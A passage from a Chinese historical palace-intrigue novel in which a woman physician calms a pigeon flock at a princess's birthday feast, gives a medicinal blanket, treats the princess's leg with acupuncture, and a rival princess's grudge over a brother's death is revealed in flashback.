胸口一阵窒息般的紧束,纪昀下意识抬手挥挡,却徒劳无功。只觉得那挟带着禽鸟腥气的风无孔不入,越来越近,越来越近…… 园内霎时乱作一团。 孟玉桐凝眸望去,察觉出几分不寻常。她的目光迅速扫过全场,见多数鸽子只是无头苍蝇般四散惊飞。 大多都是在这席间人群之中盘旋一圈,而后往园中的树木花草上奔去。孟玉桐背后的一株石榴树上,便坠着一只,那鸽子在树上的石榴花上掠过,将树枝压得极低,而后又振翅而起,往不远处的木芙蓉花树上飞过去。 而有一只鸽子,竟似认准了目标,双翅一振,径直朝着纪昀的面门疾扑而去。 电光石火间,她不假思索地将手指曲起,送至唇边,运起一口丹田气,吹响了前几日刘思钧所授的驯鸽哨音。 一声清越悠长、颇具穿透力的哨音倏然响起,划破了园中的混乱。 说也奇怪,那原本狂躁乱飞的鸽群,闻得此音,竟如同被无形的丝线牵住,扑棱的翅膀渐渐缓了下来,不再横冲直撞。 孟玉桐凝神静气,哨音连绵不绝,时而短促,时而绵长,蕴含着独特的韵律。 不过片刻,那群鸽子仿佛听懂了指令,纷纷调转方向,呼啦啦一片,井然有序地飞向高墙,转眼便消失在苍茫的暮色之中。 这番变故来得突然,去得也快。只余下众人惊魂未定的叹息,和地上落下的斑驳花叶。 众人尚未来得及细想方才的混乱,景福公主已将底下的情景和孟玉桐解围的始末尽收眼底。 她开口安慰底下众人,“诸位受惊了,不知是哪里来的鸽群,许是见我这园中花草茂盛,香气宜人,一时激动狂乱。” 景福说完这话,再去看孟玉桐,见她已安然坐回了原位,并无出头邀功的意思。 她面上闪过一丝极复杂的情绪,方才那清越哨音响起、鸽群应声而散的场景,确实令她有一瞬的惊艳,此女竟有这等手段?鸽群散去后,她也识趣,算得上安分。 然而这欣赏的念头甫一升起,便被更深的不豫压了下去。 想到此女出身低微,行医问药已属非正经途,更曾以其腿疾相挟,实在是个心思难测的危险人物。 但她又却然有几分真本事,她本是抱着死马当活马医的想法用了用她的药方,可这两月的时间下来,她的腿竟然真的有了起色。 她虽看不上孟玉桐,但若此女真的能治好她的腿…… 李婉见园中众人神色仍有些后怕,便适时说了些别的引过话头。这场小小的风波暂且按下,宴席秩序得以恢复。 紧接着,便到了众宾献礼的环节。 所呈之物多为奇珍异宝,有南海夜明珠串成的璎珞,亦有西域进贡的整块和田玉雕成的观音,琳琅满目,光耀华庭。 礼部尚书之子窦志杰亦在席间,他含笑上前,姿态恭敬,奉上一对以金丝楠木匣盛放的物件。 “公主殿下,”他声音清朗,语调和润,“此乃太妃娘娘心心念念,特意命下官为您带来的生辰贺礼——乃是高丽国新贡的‘雪里青’参一对,据说有延年益寿之效。太妃娘娘凤体偶恙,未能亲临,然惦念公主之心拳拳,特命下官务必亲手奉上,聊表心意,望公主笑纳。” 他略顿,又示意随从捧上另一锦盒,笑道:“此乃家父偶得的一幅前朝《瑶台赴会图》,画工精绝,意境缥缈。想着公主也雅好书画,便借花献佛,敬贺公主芳辰。愿公主玉貌华年,常如今日,岁岁欢愉。” 窦志杰承袭其父之风,长袖善舞,言辞妥帖。窦家素与贤太妃一脉走动密切,可谓荣辱与共。 这番话既抬出了太妃的关爱,又奉上了自家的心意,面面俱到,连景福这般挑剔之人,此刻也微微颔首,唇边漾开一丝浅淡笑意:“太妃娘娘挂念,本宫心领了。窦公子与窦尚书亦是有心,代本宫谢过太妃,这些礼物,本宫很是喜欢。” 当今贤太妃乃荣亲王生母,先帝时的贤贵妃。昔年先帝在时,荣亲王曾为皇长子,一度有望储位,然先帝属意皇后所出的二皇子。 彼时当今圣上尚为七皇子,生母早逝,后被贤妃抚养。 然天意难测,夺储风云变幻,二皇子英年早逝,皇长子亦因督查江南贡绸案不力而失宠,最终竟是仁厚纯孝的七皇子被立为储君,继承大统。 新帝登基后,尊封养母贤妃为贤太妃,封皇兄为荣亲王,恩赏不断,极尽尊荣。 然贤太妃虽年事已高,却并非甘于深宫颐养之人,于前朝后宫,仍维系着多年经营的人脉。 窦志杰献礼后,又有几位贵妇人依次呈上贺礼,无非是些南海珊瑚、东珠头面、缂丝屏风之类。景福公主一一接过,面上虽带着笑,兴致却明显淡了几分。 她纤长的指尖慵懒地敲了敲案几,视线越过众人,落在那安静独坐一隅的孟玉桐身上,微微一挑眉梢,语调里掺入几分刻意的好奇与挑剔:“诸位送来的这些金玉古玩,美则美矣,只是本宫瞧着,多少有些千篇一律了。却不知今日,可否能见着些真正新鲜别致的玩意儿?” 此言一出,席间霎时静了几分。在座皆是勋贵之家,拿得出手的自然多是这些价值连城的寻常宝物,公主此言,倒让后续尚未献礼之人有些坐立难安。 孟玉桐心知,这分明是冲着自己来的。 她神色不变,从容起身,将自己带来的那只朴素的木匣捧至席前。匣盖开启,内里并非珠光宝气,而是一张折叠整齐的绒毯。 她双手将其展开,但见那毯子以深青色云锦为底,其上用各色丝线绣出万马奔腾的壮阔图景,骏马姿态各异,或扬蹄长嘶,或驰骋如电,针脚细密精湛,气势磅礴。 毯子展开的瞬间,一股清雅醇厚的草药香气便淡淡弥散开来,不浓不艳,闻之令人心神一宁。 孟玉桐声音清越,不卑不亢地介绍道:“启禀公主,此物名为‘百草温络毯’。毯身以特殊药线混同羊毛织就,织成后,又以川芎、艾叶、独活等十余味通经活络的药材,反复熏蒸七日七夜,使药力深透纤维。 “虽值暑夏,然夜间使用时,毯内药性会随体温缓缓发散,能助气血流通,缓解肢体僵滞,晨起时更觉周身舒泰,神清气爽。” 她言语清晰,x态度落落大方,并未因身份之别而露怯,这番气度倒引得席间些许目光流露出欣赏。 宫女依言将毯子捧至主位前,两旁之人得以细观,只见那毯子绒面丰盈,色泽沉静,绣工更是栩栩如生,骏马鬃毛仿佛随风而动,绝非市面上可见的寻常之物,一望便知是耗费了极大心思的。 景福公主垂眸,目光在那毯子上扫过,尤其在几匹肆意张扬、充满生命力的骏马绣样上停留了一瞬,眼神较之看那些金玉时,确实多了些许不易察觉的亮彩。 此女倒是颇具胆色,常人送这般丝织之物,其上花样总不过就是些花鸟虫鱼,虽挑不出错处,却十分无趣。 而这骏马奔驰的图样,还是头一次有人想到。她那寝殿之中,有件肖似的薄被,绣的亦是草野之上,骏马奔驰的开阔之景,是吴氏早年所赠,她颇为欢喜。 景福随即抬眸,唇角扯出一抹似笑非笑的弧度,语气依旧带着惯有的骄矜:“倒是件稀奇古怪的玩意儿,花里胡哨的,还带着股子药味儿。” 李婉见状,适时含笑开口,声音温和:“公主有所不知,孟姑娘之前为我缝制的那个安神药枕,做工就极为精巧,内里药材配比得宜,用了甚是安眠舒心。我瞧这毯子,针脚细密,图案也别致,想必孟姑娘是花费了不少心血准备的。” 景福公主闻言,眼波转向李婉,语气里带上几分佯装的酸意:“姐姐,你生辰时我送的那对赤金嵌宝鸾鸟步摇,怎不见你这般夸赞?如今倒为一个外人说话,当真是厚此薄彼。” 李婉从容笑应:“你我之间,何须这些虚言客套。” 两人笑谈间,下首一向安静得几乎透明人一样的瑾安公主,却怯生生地开了口,声音轻柔:“姑母,这毯子瞧着确实别致,侄女还从未听闻,可用药材来熏制毯子以活络身体……当真奇妙。不知……能否让侄女就近瞧上一眼?” 她琥珀色的眼眸中带着小心翼翼的恳求,配上那副弱质纤纤的模样,让人难以拒绝。 景福不以为意,随意摆了摆手,宫人便将毯子送至瑾安面前。 瑾安伸出手,纤纤十指上,染了霞色的丹蔻,更衬得她肤色白皙无瑕。 她轻轻抚上毯面那奔腾的骏马绣纹,指尖拂过绣纹时略略停顿。她低声赞叹:“孟家姑娘的绣工当真名不虚传,这马儿的形态、神韵,竟像是要破毯而出一般,活灵活现。” 过后,她示意身旁宫女奉上自己的礼物,脸上泛起一抹小心与羞怯,声音愈发轻柔:“侄女手拙,没有孟姑娘这般巧夺天工的手艺,只在宫中胡乱养了些花草,侥幸长得还算鲜亮。便采了初开的红蓝花,亲自研磨、淘澄、晾晒,得了这小罐口脂。 “颜色……瞧着还算明丽大气,想着或能与姑母的华彩相衬……只是侄女技艺粗浅,礼物微薄,还望姑母莫要嫌弃。” 宫女将一个精巧的甜白瓷小盒呈上。景福公主打开盒盖,只见内里膏体质地细腻,颜色是极为纯正饱满的朱红色,鲜艳欲滴,光泽莹润,且散发着一股清甜淡雅的花果香气,一望便知是用了心思精心炮制的。 景福公主闻言,只淡淡瞥了瑾安一眼。她素知这位侄女在宫中处境尴尬,虽顶着公主名头,实则无人在意,是个谁都能轻慢几分的透明存在。 景福自己性子张扬桀骜,向来不喜这般怯懦柔顺之人,平日与她并无甚来往,此刻也只礼节性地应了一句:“你身子骨也弱,亲手制作此物,想来费了不少心力。”便示意宫人将口脂收下,并未多言。 随后,其余宾客也陆续呈上寿礼,这般热闹又冗长的仪式,持续了约莫大半个时辰,景福公主的寿宴终于接近尾声。宾客们纷纷起身,准备告退。 景福公主亲自送着李婉与忠勇伯夫人吴氏离开。 此时花园中人已散去大半,一直安静待在席间的瑾安公主,此刻却用不大不小的声音,望向不远处面色依旧有些苍白的纪昀,语带关切:“昀表弟,你脸色瞧着很不好。方才说宴席散后便顺道为我请脉的事,可还要继续?我听闻孟姑娘亦精通医术,你若身体不适,不如先回府歇息,请孟姑娘代为一诊也无妨的。” 她说完这话,目光便转向正欲起身离去的孟玉桐。 孟玉桐脚步一顿,心中掠过一丝疑惑,瑾安的病历来由纪昀亲自调理,从不假手他人,今日为何突然提出让自己诊看? 纪昀此刻确实神色不佳,先前鸽群带来的惊悸未全消退,后半场宴席他几乎都是强自按捺着浑噩的心神硬撑下来的。 第82章 第82章如何能安枕? 纪昀勉强站定,此刻听得瑾安之言,他几乎是不假思索地脱口回绝:“孟大夫行医不过半年,资历尚浅,公主贵体不必劳烦他人。我无碍,请公主移步偏殿,纪某这便为您看诊。” 语气虽因虚弱而略显低沉,听来却十分果断。 他这般急切回护的态度,令瑾安一怔。 瑾安唇角几不可察地微微勾起,泛起一抹极淡的,冷漠的笑意,眼中闪过一丝难以捕捉的幽光,随即了然地点点头:“既然如此,便不劳烦孟大夫了。” 孟玉桐见状,亦微微颔首,目送那一紫一碧两道身影前一后消失在通往偏殿的回廊深处,这才将心头泛起的那丝异样感压下,转身欲走。 不料,一名宫女此时却悄然上前,拦住了她的去路,那宫女低眉顺眼道:“孟姑娘,公主殿下请您过去一叙。” 景福今日请她来此,自然不可能是单纯邀请她参加宴席。 孟玉桐对此似乎并不意外,她点了点头,神色平静地跟着宫女,两人一路行至景福公主所居的寝宫。 踏入殿内,孟玉桐的眼神淡淡扫过一圈,颇感意外。 内里陈设竟出乎意料的简雅,与她想象中景福公主所偏爱的奢华张扬迥异,殿中并无过多金玉堆砌,布置清雅开阔。 靠南窗处设着一张花梨木贵妃榻,榻上随意搁着两个软枕。殿中以一架绘有水墨山水的曲屏略作隔断,屏风后隐约可见寝榻轮廓。 梳妆台靠着支摘窗,朝向南面,可以想象,白日天气好时,这紫檀桌面上盛满金色阳光的模样。 梳妆台上头只摆着一个素净的白瓷瓶,里头斜插了几支新折的玉兰花,清芬暗送。空气中氤氲着淡淡的鹅梨帐中香,气息清甜宁神。 此刻,景福公主正端坐于镜前,两名宫女小心翼翼地为她卸去发间繁复的钗环。见孟玉桐进来,她挥了挥手,宫女们无声敛衽退下,殿内顷刻间只余下她们二人。 孟玉桐上前,依礼恭谨福身。 景福公主并未回头,暖黄色的宫灯光芒笼罩着铜镜,镜中映出的女子面容少了几分平日的锐利张扬,添了几许朦胧柔和。 景福透过镜面,打量着身后垂首而立的身影,乍看之下,确是温顺恭谨的模样。 可她心知,这女子绝非表面这般简单。 “近前些说话。”公主淡淡道。 孟玉桐依言上前两步,在她身侧站定,依旧是从容不迫的姿态,“殿下召民女前来,不知有何吩咐?” 景福公主轻笑一声,镜中那双美眸流转,骄傲之色更浓:“你是个聪明人,不妨猜猜看,本宫今日为何特意邀你前来?” 孟玉桐抬眸,目光并未直接看向公主,而是落于镜面,透过那光滑的平面,她清冽的视线与公主探究的目光在其中相遇。 她并未直接回答公主的问题,反而缓声道:“观殿下今日步履,虽仍可见细微谨慎,然双膝受力已较月前均匀许多,起身落座时气息亦更为平稳绵长。 “依民女浅见,殿下腿疾寒湿淤阻之症已有松动之象。若此时能辅以银针刺穴,取足三里、阳陵泉、悬钟等穴,深刺得气,再佐以推拿之术活络筋肌,温通血脉,必能助药力更进一步,使气血通达,步履更显轻健。” 景福公主眸中闪过一丝讶异。她近日腿脚的确松快了些,却不想此女仅凭观察便能说得如此精准。 抛开那手莫测的医术不谈,这份敏锐的洞察与沉静的心态,确非寻常闺阁女子可比。 想到此处,她也失了绕弯子的兴致,索性转过身,目光直直看向孟玉桐:“你确有几分真本事。说吧,你想要什么?金银珠宝,或是别的东西?” 孟玉桐迎着她的目光,神色坦然:“民女身为医者,唯愿经手的患者能祛除病痛,身康体健。此乃医者本分,x不敢借此奢求殿下恩赏。” 景福公主闻言,唇角撇了撇,显是对这番冠冕堂皇的话不以为然,却并未出言讥讽。 她沉默片刻,忽地将裙裾微微拉起,露出纤细的脚踝与一截小腿,语气带着几分惯有的命令口吻,却又隐含一丝微弱的期待:“既然你说针灸推拿有效,那便现在试试。” 上一回在青岚寺,她还十分抗拒被孟玉桐诊治,这一次,倒是十分自然的主动送上来了。 景福心中对她的这双腿的在意,比孟玉桐料想的,还要更重几分。 “是。”孟玉桐应声,取出随身携带的针囊。 她拉开景福的衣服,指尖稳定,动作娴熟,银针精准刺入穴位,深浅得宜。 景福初时微蹙眉头,随即感到一阵酸麻胀感自针处扩散,循经而上,原本时常感到僵冷的膝关节竟渐渐生出一股温煦之意。 施针完毕,孟玉桐又净手后,以特殊手法为她推拿按摩。力道不轻不重,恰到好处地舒缓着紧绷的筋络。 一番诊治下来,景福只觉那双腿脚,仿佛比之白日更松快些了,变得前所未有地轻盈舒坦。 她试着站起身,在殿内缓缓踱了几步,感受着那份久违的舒畅,娇艳的面容上终是露出一丝真切的笑意,看向孟玉桐的目光也少了几分审视,多了些许认可:“看来,倒真不是浪得虚名。” 孟玉桐见公主眉宇间难掩舒畅快意,神色依旧淡然沉静,并未因施治见效而有半分得意。 她缓声向景福细细嘱咐后续调养之要,声音清晰:“殿下腿疾乃经年累月所致,沉疴非一日可解。方才施针,旨在激发气血,暂通淤阻,故此刻步履觉轻。然此效难以持久,筋骨经脉之损,仍需时日徐徐图之,万望殿下心存耐性,以长期养护为念。” 她略顿,语气转为慎重:“尤其需谨记,在此期间,切不可误用某些易致气血凝滞之药,亦或过食寒凉之物。譬如,若殿下日常所服温经通络之方中,含附子、肉桂等辛热走窜之品,便须格外留意,切莫与某些外敷妆品,如以朱砂为饰、或含特殊矿物脂膏之类混用,二者相激,恐生热毒,反令经脉肿胀,前功尽弃。” 她此言看似过于泛泛之谈,一字一句却十分认真。 “夜间安寝时,”她最后补充道,“可将那药毯覆于双腿,其药性温和持久,能助气血温养,于恢复大有裨益。” 若在平日,谁敢在景福公主面前这般絮絮叨叨、诸多约束。 可今日,她听着孟玉桐清晰恳切的叮嘱,非但不恼,反觉受用,竟也耐着性子听完,未置一词反驳。 诊治既毕,景福心情颇佳,命宫女取来丰厚的金银作为赏赐。 孟玉桐望着一旁宫女端着的丰厚赏赐,并未立刻谢恩,而是再次拱手,声音清晰而恭谨:“公主殿下厚赐,民女感激不尽。只是民女斗胆,尚有一事相求。” 景福公主此刻正在殿中缓缓踱步,许是针灸后的舒畅感仍在,眉眼间难得不见平日的凌厉,反而带着几分舒缓。她闻言脚步微顿,挑眉看向孟玉桐。 孟玉桐继续道:“殿下腿疾调理非一日之功,后续仍需民女定期入府施针。能否请殿下赐予民女一件信物,以此为凭。此后往来公主府,既可省去层层通传的繁琐,免得延误诊治时机,亦可免去一些不必要的耳目探听,于殿下休养更为稳妥。” 景福公主眼中闪过一丝了然,她自是明白“不必要的耳目”所指为何。 她并未多言,随手便解下腰间一枚触手温润的方牌形红玉玉佩,那玉色浓郁,正面阴刻着“景福”二字,背面则是代表公主身份的独特凤鸟徽印。 她将玉佩递出:“你思虑得倒是周全。拿着,见此玉如见本宫,无人敢阻你。” “多谢殿下。”孟玉桐双手接过玉佩,她小心将其收入怀中,再次恭敬行礼,方才退出殿外。 宫女绿绒奉命送孟玉桐出府。此女正是孟玉桐在青岚寺中曾有过一面之缘的那位。 两人略作寒暄,绿绒自陈名姓,并言明自己负责公主寝殿内的一应事务。 她们自灯火通明的主殿出来,沿着抄手游廊缓步而行,月色清辉洒在石板路上。 途经一处偏殿时,但见里面烛火明亮,门外静静侍立着两名侍女,看服饰,正是瑾安公主身边之人。 绿绒见孟玉桐目光落向那边,便低声解释道:“纪医官尚在偏殿为瑾安公主看诊,想来还未结束。” 孟玉桐淡淡颔首,状似无意地问起:“瑾安公主的心疾,听闻一直是纪医官在调理,不知近来可还安稳?” 绿绒在景福公主身边侍奉多年,知晓不少宫闱之事。加之这两次接触,她已察觉公主对孟玉桐态度的微妙转变,更念及青岚寺援手之恩,对孟玉桐便多了几分信任。 她略一斟酌,轻声道:“瑾安公主是十八岁嫁入忠勇伯府的。老伯爷与世子尚在世时,侯府还算显赫。可后来伯勇侯和长子先后离世,门庭便渐渐冷落了。 “公主自幼便有心疾之症,在宫中亦不甚起眼。当年择选驸马,许是因此,才定下了同样处境有些尴尬的伯府二公子。” 她声音压得更低:“公主殿下嫁入伯府后,曾育有一女。只是公主体质孱弱,那小小姐未足岁便夭折了。自那之后,公主凤体更是每况愈下。 “待回宫孀居时,宫中太医署众人皆视其为棘手之症,多有推诿。那时,是纪医官主动请缨,接下了诊治之责。自此,每月例诊,雷打不动。但凡公主身子稍有不适,只需往纪府递个消息,无论风雨,纪医官必定即刻入宫,尽心竭力。” 绿绒说着,悄悄留意孟玉桐的神色。她身处消息灵通的公主府,自然知晓孟玉桐与纪昀之间之间结亲又退婚的事情。 她此言,或多或少存着几分提醒之意,盼着这位瞧着明澈通透的孟姑娘,能知悉这宫苑深深、人情纠葛,莫要涉足过深。 孟玉桐垂眸静听,面上无波无澜。 瑾安与纪昀关系匪浅,此事她前世便知。纪昀对瑾安的病体何等上心,乃至从医官院忙碌归来,仍会挑灯夜战,研磨她的药方……他在瑾安身上耗费的心力,她早已清楚。 只是,关于瑾安曾有过一个孩子之事,她倒是首次听闻。 不过,这些前尘往事,说到底,与她并无干系。 绿绒见她神色如常,并无愠怒或哀戚,心下稍安,恭敬地将她送至公主府大门外。 孟玉桐准备转身离去之时,绿绒喊住她,“孟大夫,你头上有东西。” 绿绒从她发间取下一小朵石榴花。 孟玉桐接过花,笑道:“许是方才鸽群作乱,摇弄树枝,落下来的。” 她将花收进手里,与绿绒道别后,转身离开。 * 公主府偏殿内,烛影摇曳,光线昏黄。 瑾安公主端坐在一张铺着软垫的紫檀木圈椅上,或许是今夜在园中久坐受了风,她脸色较平日更显苍白,唇色浅淡,瞧上去愈加虚弱。 一方素白丝帕轻覆在她搁在脉枕的手腕上,纪昀静坐于旁,三指搭于其上,凝神细察那寸关尺间的细微起伏。 他垂眸专注于指下的脉息,眉宇间是一片沉静的专注。 瑾安却微微偏过头,借着殿内朦胧的灯火,细细打量着他。 光影在他清隽的侧脸上投下淡淡的阴影,勾勒出挺拔的鼻梁与紧抿的薄唇。 细细看来,他的眉眼间,依稀带着几分故人的清润文雅。只是比起那人天生的温煦和暖,纪昀周身萦绕的,是更为疏离的冷寂与沉静。 殿内烛光氤氲,暖色流淌,有那么一瞬,这双低垂的眼眸几乎与记忆深处那总是含笑的温润目光重叠,让她心口微微堵滞。 纪昀缓缓收回手,声音平稳:“公主脉象细弱,仍是心脉失养,气血双亏之兆。根基薄弱,非一日可补。平日饮食还需尽力多用些温补之物,夜间安寝更需宁神静心,方利于康复。此前所开的方子可继续服用,待臣下次请脉再行调整。切记,少劳神,少忧思,心境开阔最是要紧。” 瑾安听完,不置可否地扯了扯嘴角,那笑意未达眼底,反而透出几分凉意。 她语声幽幽,带着一丝飘忽的寒气,如同冬夜窗缝渗入的蚀骨冷风:“我如何能睡得好呢?纪昀,” 她忽然抬起手,冰凉的指尖轻轻触上他的下颌,迫使他抬起眼,定定地望入他眼x中,又重复了一遍,声音低哑,“你告诉我,我如何能安枕?” 第83章 第83章你不配 纪昀下颌瞬间绷紧,猛地偏头避开瑾安的触碰,随即起身,向后撤开两步。 见他如此反应,瑾安忽然眯了眯那双琥珀色的眼眸,瞳仁里跳跃的烛火映照,本该是暖意,却莫名透出一股沁入骨髓的阴冷。 “我听闻,你近来倒是颇为自得,莫非……从前种种,都已抛诸脑后了?” 纪昀垂在身侧的手无声收紧,指节泛白,面上却依旧维持着镇定:“下官不敢或忘。公主放心,您的病症,臣必当竭尽全力,钻研根治之法。” 瑾安也徐徐站起身,眼中掠过一丝尖锐的讥诮,她向前两步,逼近纪昀身前。 她再次抬手。 纪昀下意识地又退半步。 瑾安眼底复杂的情绪翻涌得更深,她伸出的手停在半空,因着他的后退微微一滞,随即却并未收回,而是径直向前,轻柔地从他肩头的锦袍上拈起一根细小的、灰白色的羽毛。 那是方才园中混乱时,惊飞的鸽子留下的。 她用两根手指捏着那根羽毛,举到两人之间,声音细弱却带着股天然的冷意,如同毒蛇悄无声息地游近,吐露着信子般,让人倏然恶寒,“每月十五,是你往太医局讲学的日子。入医官院三载,风雨无阻,从未间断。 “今日,倒是破例了。若说你只是不想缺席景福姑母的寿宴,这理由可站不住脚,毕竟前两年,你也未来参加呢。” 她指尖微一用力,将那羽毛紧紧攥入掌心,抬起眼,目光如冰冷的钩子,锁住纪昀的视线,语气不是疑问,而是斩钉截铁的断言:“你是在担心她?” 纪昀猛地抬头,对上她那双眼。 刹那间,一股寒意从心底攀爬而上。 他头一次如此清晰地感受到,眼前这个看似柔弱的女子,竟好似藏着令人心惊的危险。 自她三年前孀居回宫,他每月例行前来请脉。起初她沉默寡言,两人之间除却必要的医患对答,几无交流。 他对她,更多是履行兄长临终前的嘱托。 医治她的心疾,于他而言,是代替兄长扛起纪家医术后,必须完成的重任。 除此之外,再无其他。 直至此刻,他才真正看清,这双平日总是蒙着水雾、显得无辜又脆弱的眼眸深处,翻涌着何等执拗的疯狂……甚至还有泼天翻涌的恨意。 “下官不知公主何意,”他压下心头巨震,声音刻意放得平稳,“今日太医局讲学因院使临时有要事,已提前取消。” 他避开她那令人不适的注视,重申道,“公主之疾,心境开阔至关重要。时辰不早,臣已诊视完毕,不便再多打扰,告退。” 说罢,他转身欲走。 就在他手指即将触到门扉的瞬间,瑾安的声音自身后幽幽传来,不高,却字字如冰锥,刺入他耳膜: “纪昀,这世上,没有害死了人,还能心安理得去追寻自己快活的道理。” “你不配。” “你明白么?” 他背对着她,身形僵硬了一瞬,呼吸骤然一滞,终究没有回头,只是更加用力地推开了殿门,迈步踏入殿外无边夜色之中。 纪昀回到纪府时,夜色已深如浓墨。天幕漆黑,唯有一轮清冷的圆月高悬,将朦胧的辉光静静洒落在梧桐院的每个角落。 他踱步至房前窗下,目光落在那丛湘妃竹上。 连日天气炎热,无雨,虽昨日才浇过水,此刻那竹叶边缘又微微卷起,透出些许干燥的迹象,在月下失了白日的水润光泽。 他沉默地提来一小桶清水,蹲下身,执起木瓢,动作熟练地取水,然后均匀、缓慢地浇在竹根周围的土壤上。 水声淅沥,一层层渗透下去,即便他此刻心神疲惫,眼神恍惚,这套照料竹子的动作却已成了刻入骨子里的习惯,行云流水,不见半分滞涩。 月色如练,无声流淌,笼罩着这一方小院,也笼罩着那丛在夜风中轻轻摇曳、绿影婆娑的湘妃竹。竹叶上的斑斑泪痕在清辉下若隐若现,平添几分凄清。 望着眼前这片熟悉的绿意,往事如潮水般不受控制地涌上心头。 这丛湘妃竹,是八年前,兄长纪昭十六岁生辰那日,瑾安公主亲自送来的贺礼。 彼时的瑾安公主,在宫中处境不易,心境却开阔,平日爱侍弄些花草,生活自得。 她知纪昭素爱竹之风骨,便费了许多心思寻来了这几株极为珍稀娇贵的湘妃竹幼苗。 纪昀仍记得,那日她来时,小心翼翼地将这几株嫩苗用浸湿的柔软黑绸仔细包裹,再放入垫了湿润苔藓的檀木匣中,那般珍而重之的模样,仿佛捧着的不是竹子,而是稀世奇珍。 可饶是她如此万般仔细,那幼苗经过一番周转,送到纪昭面前时,仍是蔫头耷脑,几片嫩叶边缘已然焦黄卷曲,甚至叶背上还发现了细微的虫噬痕迹,一副生机将绝的模样。 那时瑾安也不过十六岁,见自己精心准备的礼物成了这般光景,眼圈瞬间就红了,又是懊恼又是伤心,伸手便想将匣子收回,声音带着哽咽:“昭哥哥,还是……还是别白费功夫了罢。你瞧它这副样子,怕是活不成了……我再、再另寻别的送你……” 纪昭却已含笑接过那木匣,眉眼温润如春风化雨。 他带着瑾安和年少的纪昀来到这梧桐院,寻了处避风荫凉的好角落,利落地挽起衣袖,便开始挖坑。 他低头看着手中那丛孱弱的小竹苗,目光里没有丝毫嫌弃,反而充满了笃定与温和,柔声对瑾安道: “瑾安,你看,它只是路途颠簸,失了水气,根系并未全枯,叶心犹存一点绿意。这便如同人病体孱弱,却非药石无灵。 “我们如今将它种下,细心浇灌,为其除虫,避其烈阳,假以时日,未必不能焕发生机。草木如此,人亦如此,只要自身存有向生之念,未肯放弃,便总有蓊郁成荫、亭亭如盖的那一日。你要信它。” 彼时的瑾安与纪昭,何尝不似这丛天生带了些残缺、处境艰难的竹苗? 纪昭身负心疾,却从不曾自怨自艾,反而愈加勤勉钻研医术,坦然面对自身局限,乐观豁达。 对于与他有着相似处境、在宫中举步维艰的瑾安,他也总是这般,以无限的耐心与温柔细细开导。 瑾安自生母早逝后,在宫中的日子便如履薄冰。她这个不受宠的公主,连带着那先天的心疾,也少有人真正放在心上。 唯有纪昭,每次入宫时,总会将祖父为自己调配的新药方,也精心准备一份给她,除此之外,还会给她带去许多宫墙之外的新奇玩意儿,或是几本有趣的游记杂谈,或是几包市井的香甜糕点。 故而那时,宫中人皆道瑾安公主性子孤僻,沉默寡言。 可纪昀却知道,她在兄长纪昭面前,与在外人面前全然是两副模样。她其实很爱说话,会轻声细语地说许多琐碎心事,眼眸里也会绽放出真切的光彩,只是那份依赖与亲近,她独独给了纪昭一人。 后来,那丛湘妃竹终究是在纪昭与瑾安的合力下,颤巍巍地在这方土壤里扎下了根。 纪昭种完竹子,额间已布满细密的汗珠,连衣襟都被汗水濡湿了一片。 那时的纪昀只是远远站着,并未上前搭手,他向来不喜欢这种过于刚直、不懂迂回的植物。 青书也同他一起站着,远远望着他们,只因那两人似乎自有自己的一方小天地,容不下什么人上前去帮忙了。 后来无数个日夜,纪昀都为此悔恨不已。那天,纪昭让他帮忙一起的时候,他不应该拒绝的。 那本是纪昭的十六岁生辰,意气风发的年纪,他却只来得及为这世间留下一丛新栽的湘妃竹,生命便永远定格在了那一日。 祸起于纪昀带回的一只鸽子。那鸽子扑棱着翅膀闯入纪昭跟前,惊得正在服药的纪昭呛咳不止,本就脆弱的心脉承受不住这突如其来的冲击,瞬间诱发了心疾。 当纪昭气息奄奄地躺在床榻上时,纪昀只敢瘫坐在门外,浑身冰冷。 屋内传来母亲压抑的悲泣与父亲沉痛的叹息,像无数根细针,密密麻麻地扎进他的耳膜,眼前的一切都扭曲成了一片混乱和荒芜。 直到纪昭用尽最后气力唤他进去。 他几乎是跪爬着来到床前,紧紧抓住兄长冰凉的手,一遍遍地哽咽:“对不起……哥,对不起……” 纪昭的脸色苍白如纸,不见一丝血色,可那双望向他的眼眸,却依旧蕴着惯有的、春风化x雨般的温柔。 他吃力地抬手,轻轻揉了揉弟弟的头发,声音微弱却清晰:“不怪你……昀儿。能活到今日,见识过世间诸多美好,兄长……已经很知足了。” 纪昀猛地摇头,泪水汹涌而出,语无伦次地哀求:“不要……求求你,别走……” “男子汉大丈夫……莫要轻易落泪。”纪昭用指腹替他拭去脸上的湿痕,发出一声几不可闻的轻叹,“只是……心中尚有事放不下,只能托付于你了。” 他缓了缓,继续道,“祖父年迈,一生心血皆系于医道,于我身上更是寄予厚望……我不忍见他余生皆活在憾恨之中。往后,你可愿代我……在祖父跟前尽孝,承接他的衣钵,撑起纪家门楣?” 纪昀用力点头,复又拼命摇头:“我不要!我最讨厌那些医书药草了……你不准死!你自己选的路,你自己走下去!” 纪昭并未计较他的孩子气,只是无奈地笑了笑,那笑容虚弱却包容。 “父亲明理,我不甚忧心。唯独母亲……性情至真,我这一走,她只怕难以释怀。明儿尚在襁褓,往后……你便是家中的长子,需得代我好好看顾他们。” 他的目光渐次移向门外,落在了那双哭得红肿的琥珀色眼眸上。 “还有一人……令我放心不下。”他看着瑾安,眼中满是怜惜与歉然,“瑾安身世坎坷,又与我同受这心疾之苦……我本立志,要穷尽毕生所学,研得根治之法。如今看来……是天不假年。 “我曾向她许诺,必治好她的病,让她长命百岁……如今我无法做到,却不想做个失言之人,此事,唯有交予我最信任的人,我方能安心。你定不会……让我失望的,对吗?” 语尽于此,纪昭唇边那抹温和的弧度尚未完全隐去,悬在空中的手已无力垂落,那双总是和煦温暖的眼眸,缓缓阖上,再未睁开。 纪昀怔怔地回过头,望向门边的瑾安。 那一刻,一股沉重的、近乎窒息的愧疚感,也如山般压向他。 他永远记得瑾安当时的眼神。 那双漂亮的琥珀色瞳仁,仿佛一瞬间被抽走了所有生机,只剩下死寂的灰败与凉薄,荒芜得像一片被烈火焚尽的原野。 当她空洞的目光缓缓移到他身上时,那里面翻涌的、无边无际的黑暗,如同无声的风暴,几乎要将他吞噬、碾碎。 她自始至终,未发一言。 可纪昀在那一天,再也没有勇气迎接那样的注视。 如今想来,瑾安的恨意,便是自那时起,深深种下,经年累月,盘根错节,早已与她的骨血融为一体。 夜风拂过,窗下的湘妃竹发出沙沙轻响,斑驳的竹影在月色中摇曳。 